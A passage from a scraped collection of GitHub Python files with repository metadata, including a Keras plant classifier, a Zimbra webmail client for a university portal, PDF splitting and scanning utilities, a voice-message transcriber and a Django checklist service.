pickle.load(fp)\r\nfp.close()\r\n\r\nfp = open('TrainClassLabels.pkl', \"rb\")\r\ntrain_cls_labels = pickle.load(fp)\r\nfp.close()\r\n\r\nfp = open('test.pkl', \"rb\")\r\ntest_features = pickle.load(fp)\r\nfp.close()\r\n\r\nfp = open('TestClassLabels.pkl', \"rb\")\r\ntest_cls_labels = pickle.load(fp)\r\nfp.close()\r\n\r\n#Normalizng data\r\nX_train = train_features/255\r\nX_test = test_features/255\r\nY_train = train_cls_labels\r\nY_test = test_cls_labels\r\nX_train, Y_train = shuffle(X_train, Y_train)\r\nX_test, Y_test = shuffle(X_test, Y_test)\r\nprint(X_train.shape, X_test.shape)\r\nprint(Y_train.shape, Y_test.shape)\r\n\r\n#Training of CNN model\r\nmodel = Sequential()\r\nmodel.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=(224, 224, 3)))\r\nmodel.add(MaxPool2D(pool_size=(2, 2)))\r\nmodel.add(Flatten())\r\nmodel.add(Dense(100, activation='relu'))\r\nmodel.add(Dense(5, activation='softmax'))\r\n\r\nmodel.compile(loss='sparse_categorical_crossentropy',optimizer=RMSprop(learning_rate=0.01),metrics=['accuracy'])\r\nmodel.fit(X_train,Y_train,epochs=10,validation_data=(X_test,Y_test))\r\nmodel.save('model.h5')\r\n\r\n#Checking accuracy\r\nY_pred = model.predict(X_test)\r\nY_pred = np.argmax(Y_pred,axis=1)\r\nacc = accuracy_score(Y_test, Y_pred)\r\nprint('testing accuracy: ',acc)\r\n'''","repo_name":"RajPanjwani-2001/Plant-Classification","sub_path":"Codes/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42074343385","text":"#Crie um programa que tenha uma tupla totalmente preenchida com uma contagem por extenso, de zero até vinte. Seu programa deverá ler um número pelo teclado (entre 0 e 20) e mostrá-lo por extenso\n\nextenso = ('Zero', 'Um', 'Dois', 'Tres', 'Quatro', 'Cinco', 'Seis', 'Sete', 'Oito', 'Nove', 'Dez', 'Onze', 'Doze', 'Treze', 'Quatorze', 'Quinze', 'Dezesseis', 'Dezessete','Dezoito', 'Dezenove', 'Vinte')\nwhile True:\n num = int(-1)\n while num not in range(0,len(extenso)):\n num = int(input('Digite um número de 0 a 20 para saber seus nome por extenso:\\n>>> '))\n \n print(f'O número {num} por extenso é: {extenso[num]}')\n \n answer = str(input('Deseja saber outro número? [S/N]\\n>>> '))[0]\n if answer in 'nN':\n break","repo_name":"LeonardoSextare/Curso-Python","sub_path":"Curso em Video - Guanabara/Mundo 3/!Exercicios/ex072 - Numero por Extenso.py","file_name":"ex072 - Numero por Extenso.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"25402384958","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nExtract certificate stored in the APK as PEM\n\"\"\"\n\n\nimport sys\nimport argparse\nfrom apk_parse.apk import APK\n\n\ndef main():\n # Parse command line arguments\n parser = argparse.ArgumentParser(description='Extracts PEM certificates from APK files')\n parser.add_argument('files', nargs=argparse.ZERO_OR_MORE, default=[], help='APK files')\n parser.add_argument('-t', dest='text', default=False, action='store_const', const=True,\n help='show also text representation')\n args = parser.parse_args()\n\n for file_name in args.files:\n apkf = APK(file_name)\n if args.text:\n print(apkf.cert_text)\n\n pem = apkf.cert_pem\n print(pem)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n","repo_name":"ph4r05/codesign-analysis","sub_path":"codesign/android/apk2cert.py","file_name":"apk2cert.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"40310655475","text":"import uuid\nimport os\nimport speech_recognition as sr\nfrom pydub import AudioSegment\nimport tempfile\n\n\ndef decorator_remove_file(func):\n def wrapper(*args, **kwargs):\n rez = func(*args, **kwargs)\n try:\n os.remove('voice_message.ogg')\n os.remove('voice_message.wav')\n except:\n pass\n return rez\n return wrapper\n#\ndef convert_ogg_wav(file):\n wfn = file.replace('.ogg', '.wav')\n x = AudioSegment.from_file(file)\n x.export(wfn, format='wav')\n\n\nlanguage='ru_RU'\n\n\n@decorator_remove_file\ndef audio_to_text(file):\n r = sr.Recognizer()\n with sr.AudioFile(file) as source:\n audio = r.record(source)\n text = r.recognize_google(audio_data=audio, language=language)\n return text\n\n\n\ndef convert_and_recognize(file_path):\n # Создаем временный файл, который будет автоматически удаляться после закрытия\n with tempfile.NamedTemporaryFile(delete=True) as temp_wav:\n audio = AudioSegment.from_ogg(file_path)\n audio.export(temp_wav.name, format=\"wav\") # Экспортируем аудио в wav-формате во временный файл\n\n recognizer = sr.Recognizer()\n with sr.AudioFile(temp_wav.name) as source:\n # Записываем аудио из файла\n audio_file = recognizer.record(source)\n # Применяем распознавание речи с помощью Google Speech Recognition\n try:\n result = recognizer.recognize_google(audio_file, language='ru-RU')\n print('Распознан текст:', result)\n return result\n except sr.UnknownValueError:\n print(\"Google Speech Recognition не смог понять аудио\")\n except sr.RequestError:\n print(\"Could not request results from Google Speech Recognition service\")\n\n\nasync def dewnload_and_converted_audio_text(event):\n if event.message.voice:\n # Получаем голосовое сообщение\n voice_message = await event.message.download_media()\n\n # Создаем временный файл, который будет автоматически удаляться после закрытия\n with tempfile.NamedTemporaryFile(delete=True) as temp_ogg:\n # Копируем голосовое сообщение во временный файл\n with open(voice_message, 'rb') as file:\n temp_ogg.write(file.read())\n\n # Преобразуем и распознаем речь\n text = convert_and_recognize(temp_ogg.name)\n return f'👺 Voice\\n{text}'\n\nasync def esli_voice_to_text_ili_text_text(event):\n return f'💥🔊💭 {await dewnload_and_converted_audio_text(event)}\\n{event.message.message}' if event.message.voice else event.message.message\n # if event.message.voice:#если сообщение голосовое\n # text =f'💥🔊💭 {await dewnload_and_converted_audio_text(event)}'\n # else:\n # text = event.message.message # достаем только текст сообщени","repo_name":"nasket-it/sanchos","sub_path":"audio_text.py","file_name":"audio_text.py","file_ext":"py","file_size_in_byte":3250,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38685876642","text":"# -*- coding: utf-8 -*-\n\n\"\"\"the zimbra module provides an interface to interact with zimbra\n\"\"\"\n\nimport re\nimport json\n\nfrom bs4 import BeautifulSoup\n\nfrom dhbw.util import ImporterSession, reqget, reqpost, url_get_fqdn\nfrom dhbw.util import ServiceUnavailableException, LoginRequiredException\n\n#------------------------------------------------------------------------------#\n# H E L P E R - F U N C T I O N S\n#------------------------------------------------------------------------------#\n\ndef _entity_list(in_list, out_list, in_type):\n \"\"\"Adds entities to a list while converting an entity string to a dict.\n\n Parameters\n ----------\n in_list : List[str]\n Description\n out_list : List[Dict[str, str]]\n Description\n in_type : str\n Description\n Returns\n -------\n List[Dict[str, str]]\n\n \"\"\"\n\n if in_type == \"recipient\":\n temp = \"t\"\n elif in_type == \"cc\":\n temp = \"c\"\n else:\n temp = \"b\"\n\n for account in in_list:\n temp_dict = {}\n temp_dict[\"t\"] = temp\n temp_dict[\"a\"] = account\n out_list.insert(0, temp_dict)\n\n return out_list\n\n\ndef _fill_contacts_dict_elem(contact):\n \"\"\"Checks for existing keys inside the response contact dict and creates contact dict.\n\n Parameters\n ----------\n contact : Dict[str, str]\n\n Returns\n -------\n Dict\n\n \"\"\"\n temp = {}\n if \"email\" in contact.keys():\n temp[\"email\"] = contact[\"email\"]\n temp[\"id\"] = contact[\"id\"]\n temp[\"firstName\"] = None\n temp[\"lastName\"] = None\n temp[\"jobTitle\"] = None\n if \"firstName\" in contact.keys():\n temp[\"firstName\"] = contact[\"firstName\"]\n if \"lastName\" in contact.keys():\n temp[\"lastName\"] = contact[\"lastName\"]\n if \"jobTitle\" in contact.keys():\n temp[\"jobTitle\"] = contact[\"jobTitle\"]\n\n return temp\n\n#------------------------------------------------------------------------------#\n# Z I M B R A - H A N D L E R\n#------------------------------------------------------------------------------#\n\nclass ZimbraHandler(ImporterSession):\n \"\"\"Handler for interacting with zimbra.\n\n Attributes\n ----------\n url : str\n the given url for zimbra\n accountname : str\n the dhbw mail account\n contacts : List[Dict[str, str]]\n a list representing all contacts from zimbra\n realname : str\n the real name of the logged in user\n signatures : List[str]\n a list of all available signatures to the user\n\n Methods\n -------\n login(self): None\n creates a session for the user\n logout(self): None\n sends a logout request\n scrape(self): None\n scrape the wanted data from the website\n get_contacts(self): None\n import contacts from the default \"contact\" book\n new_contact(self, contact_dict): None\n create a new contact inside the default contact book\n remove_contact(self, contact_id): None\n remove an existing contact from the default contact book\n _create_entities_list(self, recipients, rec_cc, rec_bcc): List[Dict[str, str]]\n create a list with dictionary elements\n _generate_mail(self, mail_dict): Dict[str, Any]\n build the mail in the needed format for zimbra\n send_mail(self, mail_dict): None\n sends a mail to the soap backend of zimbra\n \"\"\"\n\n url = \"https://studgate.dhbw-mannheim.de/zimbra/\"\n\n __slots__ = (\"accountname\", \"contacts\", \"realname\", \"signatures\",)\n\n def __init__(self):\n super().__init__()\n self.accountname = \"\"\n self.contacts = []\n self.headers[\"Host\"] = url_get_fqdn(ZimbraHandler.url)\n self.realname = \"\"\n self.signatures = []\n\n async def login(self, username, password):\n \"\"\"Authenticate the user against zimbra.\n\n Parameters\n ----------\n username: str\n the username for the authentication process\n password: str\n the password for the authentication process\n\n Returns\n -------\n ZimbraHandler\n \"\"\"\n url = ZimbraHandler.url\n\n # add accountname\n self.accountname = username\n\n # set headers for post request\n self.headers[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n self.headers[\"Cookie\"] = \"ZM_TEST=true\"\n\n # form data\n payload = {\n \"client\": \"preferred\",\n \"loginOp\": \"login\",\n \"username\": username,\n \"password\": password\n }\n\n # LOGIN - POST REQUEST\n try:\n r_login = reqpost(\n url=url,\n headers=self.headers,\n payload=payload,\n allow_redirects=False,\n return_code=302\n )\n except ServiceUnavailableException as service_err:\n raise service_err\n finally:\n # drop content-type header\n self.drop_header(\"Content-Type\")\n\n # add authentication cookie to the headers\n self.auth_token = r_login.headers[\"Set-Cookie\"].split(\";\")[0]\n self.headers[\"Cookie\"] = self.headers[\"Cookie\"] + \"; \" + self.auth_token\n\n return self\n\n async def scrape(self):\n # TODO documentation?\n \"\"\"Scrape the selected data from zimbra.\n\n Returns\n -------\n None\n \"\"\"\n url = ZimbraHandler.url\n\n try:\n r_home = reqget(\n url=url,\n headers=self.headers,\n )\n except ServiceUnavailableException as service_err:\n raise service_err\n\n content_home = BeautifulSoup(r_home.text, \"lxml\")\n\n # improvement idea -> let it loop reversed, since needed content\n # is inside the last / one of the last script tag(s)\n try:\n tag_script_all = content_home.find_all(\"script\")\n except AttributeError as attr_err:\n raise LoginRequiredException() from attr_err\n\n for tag_script in tag_script_all:\n if \"var batchInfoResponse\" in str(tag_script.string):\n temp = re.search(\n r\"var\\ batchInfoResponse\\ =\\ \\{\\\"Header\\\":.*\\\"_jsns\\\":\\\"urn:zimbraSoap\\\"\\};\",\n str(tag_script.string)\n )\n break\n temp_json = json.loads(\n re.sub(r\"(var\\ batchInfoResponse\\ =\\ )|(;$)\", \"\", temp.group(0))\n )\n\n self.realname = temp_json[\"Body\"][\"BatchResponse\"][\"GetInfoResponse\"][0][\"attrs\"][\"_attrs\"][\"cn\"]\n\n self.scraped_data = temp_json\n\n def get_contacts(self):\n \"\"\"Import contacts from the default contact book.\n\n Returns\n -------\n None\n \"\"\"\n url = ZimbraHandler.url\n origin = \"https://\" + url_get_fqdn(url)\n\n self.headers[\"Content-Type\"] = \"application/soap+xml; charset=utf-8\"\n self.headers[\"Referer\"] = url\n self.headers[\"Origin\"] = origin\n\n # TODO query is limited to 100 contact entities --> query all contact entities\n\n query = {\n \"Header\": {\n \"context\": {\n \"_jsns\": \"urn:zimbra\",\n \"account\": {\n \"_content\": self.accountname,\n \"by\": \"name\"\n }\n }\n },\n \"Body\": {\n \"SearchRequest\": {\n \"_jsns\": \"urn:zimbraMail\",\n \"sortBy\": \"nameAsc\",\n \"offset\": 0,\n \"limit\": 100,\n \"query\": \"in:contacts\",\n \"types\": \"contact\"\n }\n }\n }\n\n try:\n r_contacts = reqpost(\n url=origin + \"/service/soap/SearchRequest\",\n headers=self.headers,\n payload=json.dumps(query)\n ).json()\n except ServiceUnavailableException as service_err:\n raise service_err\n finally:\n self.drop_header(\"Content-Type\")\n\n try:\n contacts = r_contacts[\"Body\"][\"SearchResponse\"][\"cn\"]\n except KeyError:\n contacts = []\n\n for contact in contacts:\n cnt = contact[\"_attrs\"]\n cnt[\"id\"] = contact[\"id\"]\n temp = _fill_contacts_dict_elem(cnt)\n if temp:\n self.contacts.append(temp)\n\n def new_contact(self, contact_dict):\n \"\"\"Create a new contact inside the default contact book.\n\n Parameters\n ----------\n contact_dict : Dict\n\n Returns\n -------\n None\n \"\"\"\n url = ZimbraHandler.url\n origin = \"https://\" + url_get_fqdn(url)\n\n self.headers[\"Content-Type\"] = \"application/soap+xml; charset=utf-8\"\n self.headers[\"Referer\"] = url\n self.headers[\"Origin\"] = origin\n\n contact_details = []\n for key, value in contact_dict.items():\n if value:\n contact_details.append(\n {\n \"n\": key,\n \"_content\": value\n }\n )\n\n contact = {\n \"Header\": {\n \"context\": {\n \"_jsns\": \"urn:zimbra\",\n \"account\": {\n \"_content\": self.accountname,\n \"by\": \"name\"\n },\n \"auth_token\": self.auth_token\n }\n },\n \"Body\": {\n \"CreateContactRequest\": {\n \"_jsns\": \"urn:zimbraMail\",\n \"cn\": {\n \"l\": \"7\",\n \"a\": contact_details\n }\n }\n }\n }\n\n try:\n r_contact = reqpost(\n url=origin + \"/service/soap/CreateContactRequest\",\n headers=self.headers,\n payload=json.dumps(contact),\n ).json()\n except ServiceUnavailableException as service_err:\n raise service_err\n finally:\n self.drop_header(\"Content-Type\")\n\n try:\n contact_dict[\"id\"] = r_contact[\"Body\"][\"CreateContactResponse\"][\"cn\"][0][\"id\"]\n except AttributeError as attr_err:\n raise LoginRequiredException() from attr_err\n\n self.contacts.append(contact_dict)\n\n def remove_contact(self, contact_id):\n \"\"\"remove an existing contact from the default contact book\n\n Parameters\n ----------\n contact_id : str\n\n \"\"\"\n url = ZimbraHandler.url\n origin = \"https://\" + url_get_fqdn(url)\n\n self.headers[\"Content-Type\"] = \"application/soap+xml; charset=utf-8\"\n self.headers[\"Referer\"] = url\n self.headers[\"Origin\"] = origin\n\n del_contact = {\n \"Header\": {\n \"context\": {\n \"_jsns\": \"urn:zimbra\",\n \"account\": {\n \"_content\": self.accountname,\n \"by\": \"name\"\n },\n \"auth_token\": self.auth_token\n }\n },\n \"Body\": {\n \"ContactActionRequest\": {\n \"_jsns\": \"urn:zimbraMail\",\n \"action\": {\n \"id\": contact_id,\n \"l\": \"3\",\n \"op\": \"move\"\n }\n }\n }\n }\n\n try:\n reqpost(\n url=origin + \"/service/soap/ContactActionRequest\",\n headers=self.headers,\n payload=json.dumps(del_contact)\n )\n except ServiceUnavailableException as service_err:\n raise service_err\n finally:\n self.drop_header(\"Content-Type\")\n\n i = 0\n while i < len(self.contacts):\n if self.contacts[i][\"id\"] == contact_id:\n break\n i += 1\n\n del self.contacts[i]\n\n def _create_entities_list(self, recipients, rec_cc, rec_bcc):\n \"\"\"Create a list with dictionary elements.\n\n Parameters\n ----------\n recipients : List[str]\n\n rec_cc : List[str]\n\n rec_bcc : List[str]\n\n\n Returns\n -------\n List[Dict[str, str]]\n \"\"\"\n entities_list = [\n {\n \"t\": \"f\",\n \"a\": self.accountname,\n \"p\": self.realname\n }\n ]\n\n entities_list = _entity_list(rec_bcc, entities_list, \"bcc\")\n entities_list = _entity_list(rec_cc, entities_list, \"cc\")\n entities_list = _entity_list(recipients, entities_list, \"recipient\")\n\n return entities_list\n\n def _generate_mail(self, mail_dict):\n \"\"\"build the mail in the needed format for zimbra\n\n Parameters\n ----------\n mail_dict : Dict\n\n Returns\n -------\n Dict[str, Any]\n \"\"\"\n header_dict = {\n \"context\": {\n \"_jsns\": \"urn:zimbra\",\n \"account\": {\n \"_content\": self.accountname,\n \"by\": \"name\"\n },\n \"auth_token\": self.auth_token\n }\n }\n\n entities = self._create_entities_list(\n mail_dict[\"recipients\"],\n mail_dict[\"rec_cc\"],\n mail_dict[\"rec_bcc\"]\n )\n\n message_dict = {\n \"_jsns\": \"urn:zimbraMail\",\n \"m\": {\n \"e\": entities,\n \"su\": {\n \"_content\": mail_dict[\"subject\"]\n },\n \"mp\": {\n \"ct\": mail_dict[\"cttype\"],\n \"content\": {\n \"_content\": mail_dict[\"content\"]\n }\n }\n }\n }\n\n # join the dicts to create the whole mail\n mail = {\n \"Header\": header_dict,\n \"Body\": {\n \"SendMsgRequest\": message_dict\n }\n }\n\n return mail\n\n def send_mail(self, mail_dict):\n \"\"\"Sends a mail to the soap backend of zimbra.\n\n Parameters\n ----------\n mail_dict: SendMailDict\n a dictionary containing recipients, subject, content-type and the actual content\n\n Returns\n -------\n None\n \"\"\"\n # create mail\n mail = self._generate_mail(mail_dict)\n\n # IMPROVEMENT IDEA:\n # store mail_dict somewhere, in case that the service is unavailable\n\n url = ZimbraHandler.url\n origin = \"https://\" + url_get_fqdn(url)\n\n self.headers[\"Content-Type\"] = \"application/soap+xml; charset=utf-8\"\n self.headers[\"Referer\"] = url\n self.headers[\"Origin\"] = origin\n\n try:\n reqpost(\n url=origin + \"/service/soap/SendMsgRequest\",\n headers=self.headers,\n payload=json.dumps(mail),\n return_code=200\n )\n except ServiceUnavailableException as service_err:\n raise service_err\n finally:\n self.drop_header(\"Content-Type\")\n\n def logout(self):\n \"\"\"sends a logout request\n\n Returns\n -------\n None\n \"\"\"\n url = ZimbraHandler.url\n\n try:\n reqget(\n url=url,\n headers=self.headers,\n params={\"loginOp\": \"logout\"},\n return_code=200\n )\n except ServiceUnavailableException as service_err:\n raise service_err\n\n self.auth_token = \"\"\n","repo_name":"Software-Engineering-DHBW/BonoboBoard","sub_path":"bonobo-board/modules/dhbw/zimbra.py","file_name":"zimbra.py","file_ext":"py","file_size_in_byte":15644,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"} +{"seq_id":"34336940367","text":"from pdfminer3.pdfpage import PDFPage\nfrom pdfminer3.pdfinterp import PDFResourceManager\nfrom pdfminer3.pdfinterp import PDFPageInterpreter\nfrom pdfminer3.converter import TextConverter\nimport io\nimport os\nimport shutil\nfrom PyPDF2 import PdfFileMerger\nfrom PyPDF2 import PdfFileReader, PdfFileWriter\n\n\ndef scan_folder(parent, keyword):\n lista = []\n # iterate over all the files in directory 'parent'\n for file_name in os.listdir(parent):\n resource_manager = PDFResourceManager()\n handle = io.StringIO()\n converter = TextConverter(resource_manager, handle)\n page_interpreter = PDFPageInterpreter(resource_manager, converter)\n if file_name.endswith(\".pdf\"):\n # if it's a txt file, print its name (or do whatever you want)\n arquivo = open(parent + \"/\" + file_name, 'rb')\n with arquivo as fh:\n\n for page in PDFPage.get_pages(fh,\n caching=True,\n check_extractable=True):\n page_interpreter.process_page(page)\n text = handle.getvalue()\n if (text.find(keyword) != -1):\n # print(file_name + \" TEEM\")\n lista.append(parent + \"/\" + file_name)\n # else:\n # print(file_name + \" NAOOOO\")\n converter.close()\n handle.close()\n else:\n current_path = \"\".join((parent, \"/\", file_name))\n if os.path.isdir(current_path):\n # if we're checking a sub-directory, recall this method\n scan_folder(current_path)\n return lista\n\n\ndef merger(output_path, input_paths):\n pdf_merger = PdfFileMerger()\n file_handles = []\n\n for path in input_paths:\n pdf_merger.append(path)\n\n with open(output_path, 'wb') as fileobj:\n pdf_merger.write(fileobj)\n\n\ndef searchPDF(parent, keyword):\n lista = []\n # iterate over all the files in directory 'parent'\n for file_name in parent:\n resource_manager = PDFResourceManager()\n handle = io.StringIO()\n converter = TextConverter(resource_manager, handle)\n page_interpreter = PDFPageInterpreter(resource_manager, converter)\n arquivo = open(file_name, 'rb')\n with arquivo as fh:\n for page in PDFPage.get_pages(fh, caching=True, check_extractable=True):\n page_interpreter.process_page(page)\n text = handle.getvalue()\n if (text.find(keyword) != -1):\n # print(file_name + \" TEEM\")\n lista.append(file_name)\n # else:\n # print(\"NAO\")\n converter.close()\n handle.close()\n return lista\n\n\ndef splitter(path, output_folder):\n for x in path:\n fname = os.path.splitext(os.path.basename(x))[0]\n pdf = PdfFileReader(x)\n for page in range(pdf.getNumPages()):\n pdf_writer = PdfFileWriter()\n pdf_writer.addPage(pdf.getPage(page))\n pages = page + 1\n if page >= 99:\n pagename = str(pages)\n elif page >= 9:\n pagename = \"0\" + str(pages)\n else:\n pagename = \"00\" + str(pages)\n output_filename = output_folder + '/{}_page_{}.pdf'.format(\n fname, pagename)\n with open(output_filename, 'wb') as out:\n pdf_writer.write(out)\n # print('Created: {}'.format(output_filename))\n\n\ndef splitterCustom(path, output_folder, doublepageslist,originalfile):\n for x in path:\n fname = os.path.splitext(os.path.basename(x))[0]\n pdf = PdfFileReader(x)\n print(x)\n filenumber = find_between(x, \"_file_\", \".pdf\")\n if filenumber not in originalfile:\n doublepageslist2 = []\n else:\n doublepageslist2 = doublepageslist\n b = True\n for page in range(pdf.getNumPages()):\n pagenamemerged = str(page + 1) + \";\" + filenumber\n print(pagenamemerged)\n pdf_writer = PdfFileWriter()\n if b:\n if pagenamemerged not in doublepageslist2:\n pdf_writer.addPage(pdf.getPage(page))\n pages = page + 1\n if page >= 99:\n pagename = str(pages)\n elif page >= 9:\n pagename = \"0\" + str(pages)\n else:\n pagename = \"00\" + str(pages)\n output_filename = output_folder + '/{}_page_{}.pdf'.format(fname, pagename)\n with open(output_filename, 'wb') as out:\n pdf_writer.write(out)\n # print('Created: {}'.format(output_filename))\n b = True\n else:\n pdf_writer.addPage(pdf.getPage(page))\n pdf_writer.addPage(pdf.getPage(page + 1))\n pages = page + 1\n if page >= 99:\n pagename = str(pages)\n elif page >= 9:\n pagename = \"0\" + str(pages)\n else:\n pagename = \"00\" + str(pages)\n output_filename = output_folder + '/{}_page_{}.pdf'.format(\n fname, pagename)\n with open(output_filename, 'wb') as out:\n pdf_writer.write(out)\n # print('Created: {}'.format(output_filename))\n b = False\n else:\n b = True\n\n\ndef splitterNew(path, output_folder):\n for x in path:\n name = os.path.splitext(os.path.basename(x))[0]\n print(*name)\n pdf = PdfFileReader(x)\n for page in range(pdf.getNumPages()):\n pdf_writer = PdfFileWriter()\n pdf_writer.addPage(pdf.getPage(page))\n output_filename = output_folder + '/{}_{}.pdf'.format(\n page + 1, name)\n with open(output_filename, 'wb') as out:\n pdf_writer.write(out)\n # print('Created: {}'.format(output_filename))\n\n\ndef list_files_mac(dir):\n names = []\n for root, dirs, files in os.walk(dir):\n for file in files:\n if file.endswith('.pdf'):\n names.append(dir + \"/\" + file)\n return names\n\n\ndef list_files_win(dir):\n names = []\n for root, dirs, files in os.walk(dir):\n for file in files:\n if file.endswith('.pdf'):\n names.append(dir + \"/\" + file)\n return names\n\n\ndef list_files_walk(directory):\n fu = [os.path.join(dp, f) for dp, dn, filenames in os.walk(directory) for f in filenames if\n os.path.splitext(f)[1].lower() == '.pdf']\n return (fu)\n\n\ndef newScan(parent):\n lista = []\n f = open(\"designs.txt\", \"w+\")\n g = open(\"paths.txt\", \"w+\")\n # iterate over all the files in directory 'parent'\n for file_name in parent:\n resource_manager = PDFResourceManager()\n handle = io.StringIO()\n converter = TextConverter(resource_manager, handle)\n page_interpreter = PDFPageInterpreter(resource_manager, converter)\n arquivo = open(file_name, 'rb')\n with arquivo as fh:\n for page in PDFPage.get_pages(fh, caching=True, check_extractable=True):\n page_interpreter.process_page(page)\n text = handle.getvalue()\n word = find_between(text, \"SKUPrice1\", \"$\")\n print(word)\n # number = has_sequence(word)\n # stringnumber = ''.join(map(str, number))\n # artwork = find_between(word,\"1\",stringnumber)\n\n f.write(word + \"\\n\")\n g.write(file_name + \"\\n\")\n converter.close()\n handle.close()\n f.close()\n g.close()\n return lista\n\n\ndef scanDoublePages(parent, galleryprices, dailyprices):\n daily = open(\"daily.txt\", \"w+\")\n gal = open(\"gallery.txt\", \"w+\")\n sweet = open(\"sweet.txt\", \"w+\")\n duplicatestest = open(\"duplicatestest.txt\", \"w+\")\n number = 0\n numberlist = []\n originalfile = []\n folder = \"temp\"\n cleanFolder(folder)\n # listing the files inside the folder\n parentnew = list_files_walk(parent)\n # creating a temporary folder\n os.mkdir(folder)\n # splitting the temporary files\n splitter(parentnew, folder)\n # getting the temporary files\n parentnew2 = list_files_walk(folder)\n # sorting the files by name\n parentnew2.sort()\n # iterate over all the files in directory 'parent'\n for file_name in parentnew2:\n resource_manager = PDFResourceManager()\n handle = io.StringIO()\n converter = TextConverter(resource_manager, handle)\n page_interpreter = PDFPageInterpreter(resource_manager, converter)\n arquivo = open(file_name, 'rb')\n if \"page_001.pdf\" in file_name:\n number = 0\n with arquivo as fh:\n for page in PDFPage.get_pages(fh, caching=True, check_extractable=True):\n booleangal = True\n booleanSweet = True\n page_interpreter.process_page(page)\n text = handle.getvalue()\n text = text[:-1]\n text = text + \"¬¬¬\"\n #print(text)\n # searching the reference number\n search = find_between(text, \"#\", \"Order\")\n # searching the order number\n search2 = find_between(text, \"# \", \"Order Date\")\n # Searching the design name\n name = find_between(text, \"SKUPrice1\", \"$\")\n # Prices\n price = find_between(text, name, \",\")\n # Products\n products = find_between(text, \"SKUPrice1\", \"¬¬¬\")\n #print(products)\n originalfilenumber = find_between(file_name, \"_file_\", \"_page\")\n print(originalfilenumber)\n if search == \"\":\n numberlist.append(str(number) + \";\" + originalfilenumber)\n originalfile.append(originalfilenumber)\n # print(result[number-1])\n # f.write(result[number - 1] + \"\\n\")\n else:\n duplicatestest.write(search2 + \"\\n\")\n for daprices in dailyprices:\n if products.find(daprices) != -1:\n print(search2 + \" Daily Shirt\")\n booleangal = False\n daily.write(name + \"^\" + file_name + \"^\" + search2 + \"\\n\")\n break\n if booleangal:\n for gaprices in galleryprices:\n if products.find(gaprices) != -1:\n print(search2 + \" Gallery Shirt\")\n gal.write(name + \"^\" + file_name + \"^\" + search2 + \"\\n\")\n booleanSweet = False\n break\n if booleanSweet:\n sweet.write(name + \"^\" + file_name + \"^\" + search2 + \"\\n\")\n print(search2 + \" Sweet Deal\")\n number = number + 1\n converter.close()\n handle.close()\n daily.close()\n gal.close()\n duplicatestest.close()\n sweet.close()\n cleanFolder(folder)\n print(originalfile)\n print(\"Files with double pages: \")\n print(numberlist)\n os.mkdir(folder)\n splitterCustom(parentnew, folder, numberlist,originalfile)\n\n\ndef find_between(s, first, last):\n try:\n start = s.index(first) + len(first)\n end = s.index(last, start)\n return s[start:end]\n except ValueError:\n return \"\"\n\n\ndef has_sequence(s):\n val = []\n number = []\n length = len(s)\n for x in range(length):\n try:\n prov = int(s[x])\n val.append(prov)\n\n except ValueError:\n val.append(\"%\")\n\n for x in range(length):\n if val[x] == \"%\":\n 1\n else:\n if val[x + 1] == \"%\":\n 1\n else:\n number.append(val[x])\n return number\n\n\ndef sortFiles(file_name):\n f = open(file_name + \".txt\", \"r\")\n contents = f.readlines()\n contents.sort()\n with open(file_name + \"_sorted.txt\", \"w+\") as g:\n for item in contents:\n g.write(item)\n f.close()\n g.close()\n\n\ndef cleanFolder(path):\n if os.path.exists(path):\n shutil.rmtree(path)\n\ndef checkIfDuplicates(listOfElems):\n for elem in listOfElems:\n if listOfElems.count(elem) > 1:\n return True\n return False","repo_name":"williamzu/PDF_Miner","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":12733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1999871848","text":"# -*- coding: utf-8 -*-\nfrom .models import Item\nfrom django.utils import timezone\nfrom django.db.models import Q\nfrom django.core import serializers\nimport json\n\ndef create_item(name, checklist):\n\tnewItem = Item(name=name, checklist_id=checklist)\n\tnewItem.save()\n\tmapped_item = item_mapper(newItem)\n\treturn json.dumps(mapped_item)\n\ndef get_all_items():\n\tstartdate = timezone.now() - timezone.timedelta(hours=1)\n\tenddate = timezone.now()\n\tall_items = Item.objects.filter(Q(endtime__range=[startdate, enddate]) | Q(endtime=None))\n\tall_items_orderd = all_items.order_by('createdtime')\n\tall_items_serialized = serializers.serialize('json', all_items_orderd)\n\treturn all_items_serialized\n\ndef get_all_items_by_checklist_id(checklist_id):\n\tstartdate = timezone.now() - timezone.timedelta(hours=1)\n\tenddate = timezone.now()\n\tall_items = Item.objects.filter(Q(\n\t\t\tQ(checklist_id=float(checklist_id))\n\t\t\t& Q(\n\t\t\t\tQ(endtime__range=[startdate, enddate]) | Q(endtime=None))\n\t\t\t)\n\t)\n\tall_items_orderd = all_items.order_by('createdtime')\n\tall_items_orderd = all_items_orderd.order_by('done')\n\tmappedItemList = []\n\tfor item in all_items_orderd:\n\t\tmappedItem = item_mapper(item)\n\t\tmappedItemList.append(mappedItem)\n\tall_items_json = json.dumps(mappedItemList)\n\t#all_items_serialized = serializers.serialize('json', all_items_orderd)\n\treturn all_items_json\n\ndef update_item(id, value):\n\tif value == \"1\":\n\t\tendt = timezone.now()\n\telse:\n\t\tendt = None\n\titem = Item.objects.filter(id=id)\n\titem.update(done = value)\n\titem.update(endtime = endt)\n\ndef remove_item(id):\n\titem = Item.objects.filter(id=id)\n\titem.delete()\n\ndef get_highest_soring_order():\n\tstartdate = timezone.now() - timezone.timedelta(hours=1)\n\tenddate = timezone.now()\n\tall_items = Item.objects.filter(Q(endtime__range=[startdate, enddate]) | Q(endtime=None))\n\tindex = all_items.order_by(\"-ordernumber\")[0]\n\treturn index.ordernumber\n\n\ndef 